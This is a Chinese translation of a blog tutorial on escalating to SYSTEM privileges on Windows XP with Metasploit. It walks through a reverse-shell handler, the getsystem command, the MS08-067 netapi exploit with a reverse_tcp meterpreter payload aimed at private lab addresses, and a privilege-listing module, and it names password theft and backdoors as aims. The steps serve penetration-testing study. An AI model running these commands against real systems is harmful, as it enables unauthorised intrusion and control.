本文由我一人搬运翻译,原文地址:Privilege Escalation in windows xp using metasploit

metasploit2

​ 上一篇文章中我解释了在成功攻击一台windows 7之后如何得到一个管理员权限,相比之下,windows xp更为容易。

​ 下面这张照片是黑客利用我创建的有效载荷成功获得访问权限时拍摄的。为了创建你自己的payload,请看上一篇文章:create a payload in executable

screenshot-from-2014-06-19-084558

​ 在受害者执行payload以后,我通过使用/multi/handler模块,允许 metasploit监听反向shell连接,来获取一个反向shell连接。

screenshot-from-2014-06-19-0823261
#meterpreter  >  getuid

​ 运行getuid命令,我们知道我们以已经登录系统的普通用户权限运行,但我们没有以系统权限。我们怎么将我们的权限提升到系统权限?

​ 这个会话只有有限的用户权限。这严重限制了我们在远程系统上执行操作,如提取密码,修改注册表,安装后门,等等。

幸运的是,metasploit有一个名为“getsystem”的脚本,它会使用一些不同的技术试图获得目标的系统权限。当然,它也有各种各样其他也用来本地提权的exploit。

#meterpreter  >  use priv

# #meterpreter  >   getsystem

​ 使用“getsystem”命令,如果显示尚未加载,则我们需要先加载“priv”这个扩展。

​ 通过执行“getsystem”命令(不带任何其他参数),metasploit将会代替我们完成繁重的工作。这个命令将会试图使用所有可用的方法,直到成功获取system权限。

​ 有些情况下,getsystem会因为我们使用的操作系统和exploit方法而失败。

​ 在这篇文章中,我们将使用windows XP SP3 作为受害者及其,通过在metasploit shell中执行sysinfo命令,将会获得关于受害者机器的系统相关信息。

#meterpreter  >   sysinfo

​ 当我们执行getsystem命令将会失败,因为当前登录用户权限不足以获取管理员权限。

​ 为此,我们需要使用"background"命令将会话放在后台,并手动尝试其他一些攻击(我使用了smb/netapi),加载最近后台处理的会话,然后攻击并执行getsystem以获得管理员权限。

#meterpreter  > background

#meterpreter  >   use exploit/windows/smb/ms08_067_netapi

​ 我使用以前创建的payload攻击了这台机器,所以请尝试以前攻击机器时使用的方法。

#meterpreter  >   set payload windows/meterpreter/reverse_tcp

#meterpreter  > set   LHOST 192.168.31.20

#meterpreter  > set   LPORT  8080

#meterpreter  >  set RHOST 192.168.31.3

#meterpreter  >   set   SESSION 1

#meterpreter  >    exploit
screenshot-from-2014-06-19-082436

​ 在上图中,我们可以访问具有更多权限的管理系统用户帐户。

通过执行post/windows/gather/win_privs命令,它将列出当前登录用户的权限。

#meterpreter  >     run  post/windows/gather/win_privs
screenshot-from-2014-06-19-082622